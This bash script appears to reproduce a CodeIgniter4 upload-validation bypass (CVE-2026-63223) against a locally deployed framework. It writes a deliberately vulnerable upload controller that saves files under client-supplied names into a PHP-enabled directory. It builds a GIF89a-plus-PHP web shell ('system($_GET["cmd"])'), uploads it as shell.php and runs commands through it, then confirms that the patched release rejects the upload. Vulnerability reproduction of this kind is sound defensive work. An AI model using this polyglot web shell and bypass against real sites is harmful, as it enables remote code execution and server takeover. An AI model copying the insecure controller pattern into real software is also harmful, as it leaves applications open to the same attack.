#!/bin/bash
set -euo pipefail

# Reproduction for CVE-2026-63223:
# CodeIgniter4 < 4.7.4 is_image()/mime_in() upload validation bypass ->
# unrestricted file upload of a GIF+PHP polyglot named shell.php -> RCE.
#
# Strategy (real product path, api_remote surface):
#   1. Deploy the real CodeIgniter4 framework app skeleton (codeigniter4/framework)
#      at the vulnerable tag v4.7.3, with an upload controller that uses the
#      is_image validation rule (no ext_in) and saves under the client-supplied
#      filename into public/uploads/ (web-accessible, PHP-enabled).
#   2. Start the real product server (php spark serve) and POST a multipart
#      upload of a GIF89a+PHP polyglot named shell.php through HTTP.
#   3. GET /uploads/shell.php?cmd=... over HTTP and prove attacker-controlled
#      command execution (unique marker echo + id).
#   4. Repeat on the fixed version (commit b6e9a4fa if resolvable, else the
#      v4.7.4 release tag which contains the exact fix helpers) and prove the
#      same upload is rejected and no shell is written.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
STAGE_LOGS="$LOGS/repro"
mkdir -p "$LOGS" "$REPRO_DIR" "$STAGE_LOGS"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
exec > >(tee -a "$MAIN_LOG") 2>&1

echo "[*] CVE-2026-63223 reproduction starting at $(date -u +%FT%TZ)"

# ---------------------------------------------------------------------------
# Runtime manifest bookkeeping (always written before exit)
# ---------------------------------------------------------------------------
SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
VULN_CONFIRMED=false
FIXED_REJECTED=false
ENTRYPOINT_KIND="endpoint"
ENTRYPOINT_DETAIL="POST /upload multipart to CodeIgniter4 controller using is_image rule, saving with client filename into public/uploads; GET /uploads/shell.php?cmd=..."
NOTES="initialized"
declare -a PROOF_ARTIFACTS=()

write_manifest() {
    local artifacts_json
    if [ "${#PROOF_ARTIFACTS[@]}" -gt 0 ]; then
        artifacts_json="$(printf '%s\n' "${PROOF_ARTIFACTS[@]}" | jq -R . | jq -s .)"
    else
        artifacts_json="[]"
    fi
    jq -n \
        --arg entrypoint_kind "$ENTRYPOINT_KIND" \
        --arg entrypoint_detail "$ENTRYPOINT_DETAIL" \
        --argjson service_started "$SERVICE_STARTED" \
        --argjson healthcheck_passed "$HEALTHCHECK_PASSED" \
        --argjson target_path_reached "$TARGET_PATH_REACHED" \
        --argjson artifacts "$artifacts_json" \
        --arg notes "$NOTES" \
        '{
          entrypoint_kind: $entrypoint_kind,
          entrypoint_detail: $entrypoint_detail,
          service_started: $service_started,
          healthcheck_passed: $healthcheck_passed,
          target_path_reached: $target_path_reached,
          runtime_stack: ["php-cli", "codeigniter4/framework (php spark serve, PHP built-in web server)"],
          proof_artifacts: $artifacts,
          notes: $notes
        }' > "$REPRO_DIR/runtime_manifest.json"
}
trap write_manifest EXIT

add_artifact() { PROOF_ARTIFACTS+=("$1"); }

# ---------------------------------------------------------------------------
# 1. Dependencies (clean sandbox has Python/Node/build tools only)
# ---------------------------------------------------------------------------
if ! command -v php >/dev/null 2>&1; then
    echo "[*] Installing PHP CLI and required extensions"
    sudo apt-get update -qq
    sudo apt-get install -y -qq php-cli php-xml php-mbstring php-intl php-curl unzip
fi
if ! php -m | grep -qi '^fileinfo$'; then
    sudo apt-get update -qq && sudo apt-get install -y -qq php-cli
fi
if ! command -v composer >/dev/null 2>&1; then
    echo "[*] Installing Composer"
    if ! sudo apt-get install -y -qq composer >/dev/null 2>&1 || ! command -v composer >/dev/null 2>&1; then
        curl -sS https://getcomposer.org/installer -o /tmp/composer-setup.php
        sudo php /tmp/composer-setup.php --quiet --install-dir=/usr/local/bin --filename=composer
    fi
fi
php -v | head -1
composer --version | head -1

# ---------------------------------------------------------------------------
# 2. Source checkout (reuse prepared project cache when available)
# ---------------------------------------------------------------------------
CTX="$ROOT/project_cache_context.json"
if [ -f "$CTX" ] && jq -e '.prepared == true and (.project_cache_dir|type=="string")' "$CTX" >/dev/null 2>&1; then
    CACHE_DIR="$(jq -r '.project_cache_dir' "$CTX")"
    REPO="$CACHE_DIR/repo"
else
    REPO="$ROOT/artifacts/framework"
fi
echo "[*] Using repository path: $REPO"
if [ ! -d "$REPO/.git" ]; then
    mkdir -p "$(dirname "$REPO")"
    git clone --quiet https://github.com/codeigniter4/framework.git "$REPO"
fi
git -C "$REPO" fetch --quiet --tags origin || true

VULN_REF="v4.7.3"
# The ticket names fixed commit b6e9a4fa. That hash lives in the development
# repo (codeigniter4/CodeIgniter4); the distributable mirror
# (codeigniter4/framework) receives squashed release commits, so resolve it if
# present and otherwise fall back to the v4.7.4 release tag, which contains
# exactly the fix helpers named in the advisory
# (hasInvalidImageClientExtension / hasMismatchedClientExtension).
FIXED_COMMIT_NAMED="b6e9a4fa"
if git -C "$REPO" cat-file -e "$FIXED_COMMIT_NAMED^{commit}" 2>/dev/null; then
    FIXED_REF="$FIXED_COMMIT_NAMED"
else
    FIXED_REF="v4.7.4"
    echo "[!] Named fixed commit $FIXED_COMMIT_NAMED not present in codeigniter4/framework mirror; using release tag v4.7.4 (verified to contain the named fix helpers)"
fi
VULN_SHA="$(git -C "$REPO" rev-parse "$VULN_REF")"
FIXED_SHA="$(git -C "$REPO" rev-parse "$FIXED_REF")"
echo "[*] Vulnerable checkout: $VULN_REF ($VULN_SHA)"
echo "[*] Fixed checkout:      $FIXED_REF ($FIXED_SHA)"

# Sanity: the fix helpers must be absent in vuln and present in fixed.
if git -C "$REPO" grep -q 'hasInvalidImageClientExtension' "$VULN_SHA" -- system/Validation/StrictRules/FileRules.php; then
    echo "[-] Vulnerable checkout unexpectedly contains the fix helper"; exit 2
fi
if ! git -C "$REPO" grep -q 'hasInvalidImageClientExtension' "$FIXED_SHA" -- system/Validation/StrictRules/FileRules.php; then
    echo "[-] Fixed checkout lacks hasInvalidImageClientExtension - wrong fixed ref"; exit 2
fi
echo "[+] Patch-anchor verification OK: fix helper absent in $VULN_REF, present in $FIXED_REF"

# ---------------------------------------------------------------------------
# 3. App overlay: vulnerable upload controller (written by this script)
# ---------------------------------------------------------------------------
apply_overlay() {
    cat > "$REPO/app/Controllers/Upload.php" <<'PHP'
<?php

namespace App\Controllers;

class Upload extends BaseController
{
    public function index()
    {
        // Vulnerable pattern from the advisory: is_image validates only the
        // content-sniffed MIME type, and the file is saved under the
        // attacker-controlled client filename into a web-accessible,
        // PHP-enabled directory.
        $rules = ['userfile' => 'uploaded[userfile]|is_image[userfile]'];

        if (! $this->validate($rules)) {
            return $this->response->setStatusCode(400)->setJSON([
                'status' => 'rejected',
                'errors' => $this->validator->getErrors(),
            ]);
        }

        $file      = $this->request->getFile('userfile');
        $targetDir = ROOTPATH . 'public/uploads';

        if (! is_dir($targetDir)) {
            mkdir($targetDir, 0777, true);
        }

        // Client filename is preserved on save (no randomName(), no ext_in).
        $file->move($targetDir, $file->getName());

        return $this->response->setJSON([
            'status' => 'saved',
            'path'   => 'uploads/' . $file->getName(),
        ]);
    }
}
PHP
    cat > "$REPO/app/Config/Routes.php" <<'PHP'
<?php

use CodeIgniter\Router\RouteCollection;

/**
 * @var RouteCollection $routes
 */
$routes->get('/', 'Home::index');
$routes->post('upload', 'Upload::index');
PHP
}

# Polyglot: GIF89a magic bytes (sniffs image/gif) + executable PHP payload.
POLYGLOT="$STAGE_LOGS/shell_polyglot.php"
printf 'GIF89a;\n<?php system($_GET["cmd"]); ?>\n' > "$POLYGLOT"
if ! php -r 'exit(mime_content_type($argv[1]) === "image/gif" ? 0 : 1);' "$POLYGLOT"; then
    echo "[-] Polyglot does not sniff as image/gif"; exit 2
fi
echo "[+] Polyglot sniffs as image/gif while carrying PHP code"

# Plain-text control: must be rejected by is_image on BOTH versions.
CONTROL_TXT="$STAGE_LOGS/control.txt.php"
printf 'this is plain text, not an image\n<?php echo 1; ?>\n' > "$CONTROL_TXT"

# ---------------------------------------------------------------------------
# 4. Server lifecycle helpers (php spark serve = the product CLI server)
# ---------------------------------------------------------------------------
SRV_PID=""
start_server() {
    local port="$1" log="$2"
    setsid php "$REPO/spark" serve --host 127.0.0.1 --port "$port" > "$log" 2>&1 &
    SRV_PID=$!
    local i
    for i in $(seq 1 30); do
        if curl -s -o /dev/null "http://127.0.0.1:$port/"; then
            return 0
        fi
        sleep 1
    done
    echo "[-] Server on port $port failed to start; log follows"; cat "$log"
    return 1
}
stop_server() {
    if [ -n "$SRV_PID" ]; then
        kill -TERM -- "-$SRV_PID" 2>/dev/null || kill -TERM "$SRV_PID" 2>/dev/null || true
        sleep 1
        kill -KILL -- "-$SRV_PID" 2>/dev/null || true
        SRV_PID=""
    fi
}
trap 'stop_server; write_manifest' EXIT

# ---------------------------------------------------------------------------
# 5. Attempt drivers
# ---------------------------------------------------------------------------
# Returns 0 when the vulnerable behavior (accept + execute) is observed.
vuln_attempt() {
    local port="$1" attempt="$2"
    local svc_log="$STAGE_LOGS/service_vuln_${attempt}.log"
    local up_json="$STAGE_LOGS/vuln_attempt${attempt}_upload.json"
    local get_txt="$STAGE_LOGS/vuln_attempt${attempt}_shell_get.txt"
    local marker="RCE_${attempt}_$(date +%s)_$RANDOM"

    rm -rf "$REPO/public/uploads"
    start_server "$port" "$svc_log"
    SERVICE_STARTED=true

    local code
    code="$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:$port/")"
    [ "$code" = "200" ] && HEALTHCHECK_PASSED=true

    echo "[*] vuln attempt $attempt: POST polyglot as shell.php"
    curl -s -F "userfile=@$POLYGLOT;filename=shell.php;type=image/gif" \
        "http://127.0.0.1:$port/upload" | tee "$up_json"
    echo

    echo "[*] vuln attempt $attempt: GET /uploads/shell.php?cmd=echo $marker;id"
    curl -s "http://127.0.0.1:$port/uploads/shell.php?cmd=echo%20$marker;id" | tee "$get_txt"
    echo
    stop_server

    TARGET_PATH_REACHED=true
    add_artifact "logs/repro/service_vuln_${attempt}.log"
    add_artifact "logs/repro/vuln_attempt${attempt}_upload.json"
    add_artifact "logs/repro/vuln_attempt${attempt}_shell_get.txt"

    if grep -q '"status":"saved"' "$up_json" \
        && grep -q "$marker" "$get_txt" \
        && grep -q 'uid=' "$get_txt" \
        && ! grep -q '<\?php' "$get_txt"; then
        echo "[+] vuln attempt $attempt: upload accepted AND shell.php executed (marker + id output present, source not leaked)"
        return 0
    fi
    echo "[-] vuln attempt $attempt: expected RCE evidence not observed"
    return 1
}

# Returns 0 when the fixed behavior (reject + no file + 404) is observed.
fixed_attempt() {
    local port="$1" attempt="$2"
    local svc_log="$STAGE_LOGS/service_fixed_${attempt}.log"
    local up_json="$STAGE_LOGS/fixed_attempt${attempt}_upload.json"
    local get_txt="$STAGE_LOGS/fixed_attempt${attempt}_shell_get.txt"

    rm -rf "$REPO/public/uploads"
    start_server "$port" "$svc_log"

    echo "[*] fixed attempt $attempt: POST same polyglot as shell.php"
    local http_code
    http_code="$(curl -s -w '|%{http_code}' -F "userfile=@$POLYGLOT;filename=shell.php;type=image/gif" \
        "http://127.0.0.1:$port/upload" | tee "$up_json" | tail -c 4)"
    echo

    local get_code
    get_code="$(curl -s -o "$get_txt" -w '%{http_code}' "http://127.0.0.1:$port/uploads/shell.php?cmd=id")"
    echo "[*] fixed attempt $attempt: upload HTTP=${http_code#*|}, shell GET HTTP=$get_code"
    stop_server

    add_artifact "logs/repro/service_fixed_${attempt}.log"
    add_artifact "logs/repro/fixed_attempt${attempt}_upload.json"
    add_artifact "logs/repro/fixed_attempt${attempt}_shell_get.txt"

    if grep -q '"status":"rejected"' "$up_json" \
        && [ ! -f "$REPO/public/uploads/shell.php" ] \
        && [ "$get_code" = "404" ]; then
        echo "[+] fixed attempt $attempt: upload rejected, no shell.php written, GET 404"
        return 0
    fi
    echo "[-] fixed attempt $attempt: expected rejection evidence not observed"
    return 1
}

# Negative control on the vulnerable build: non-image content must be rejected.
control_attempt() {
    local port="$1"
    local svc_log="$STAGE_LOGS/service_control.log"
    local up_json="$STAGE_LOGS/control_upload.json"
    rm -rf "$REPO/public/uploads"
    start_server "$port" "$svc_log"
    curl -s -F "userfile=@$CONTROL_TXT;filename=plain.php;type=text/plain" \
        "http://127.0.0.1:$port/upload" | tee "$up_json"
    echo
    stop_server
    add_artifact "logs/repro/control_upload.json"
    if grep -q '"status":"rejected"' "$up_json"; then
        echo "[+] control: non-image upload rejected by is_image on vulnerable build (rule is active)"
        return 0
    fi
    echo "[-] control: non-image upload was NOT rejected on vulnerable build"
    return 1
}

# ---------------------------------------------------------------------------
# 6. Run the matrix: 2 clean vulnerable attempts + 2 clean fixed attempts
# ---------------------------------------------------------------------------
git -C "$REPO" checkout -q -f "$VULN_SHA"
apply_overlay
composer install --no-dev --quiet --no-interaction --working-dir="$REPO"

control_attempt 18095 || { NOTES="negative control failed on vulnerable build"; exit 2; }

v_ok=0
vuln_attempt 18090 1 && v_ok=$((v_ok+1))
vuln_attempt 18091 2 && v_ok=$((v_ok+1))
[ "$v_ok" -eq 2 ] && VULN_CONFIRMED=true

git -C "$REPO" checkout -q -f "$FIXED_SHA"
apply_overlay

f_ok=0
fixed_attempt 18092 1 && f_ok=$((f_ok+1))
fixed_attempt 18093 2 && f_ok=$((f_ok+1))
[ "$f_ok" -eq 2 ] && FIXED_REJECTED=true

echo "============================================================"
echo "Vulnerable ($VULN_REF) RCE attempts succeeded: $v_ok/2"
echo "Fixed ($FIXED_REF) rejection attempts succeeded: $f_ok/2"

if $VULN_CONFIRMED && $FIXED_REJECTED; then
    NOTES="CONFIRMED: v4.7.3 accepted GIF89a+PHP polyglot as shell.php via is_image and GET /uploads/shell.php?cmd= executed attacker commands (uid output + unique marker) in 2/2 attempts; $FIXED_REF rejected the same upload with a validation error, wrote no file, and GET returned 404 in 2/2 attempts. Named fixed commit b6e9a4fa unresolvable in framework mirror; fixed ref used: $FIXED_REF ($FIXED_SHA)."
    echo "[+] $NOTES"
    exit 0
fi
NOTES="NOT CONFIRMED: vuln_ok=$v_ok/2 fixed_ok=$f_ok/2"
echo "[-] $NOTES"
exit 1
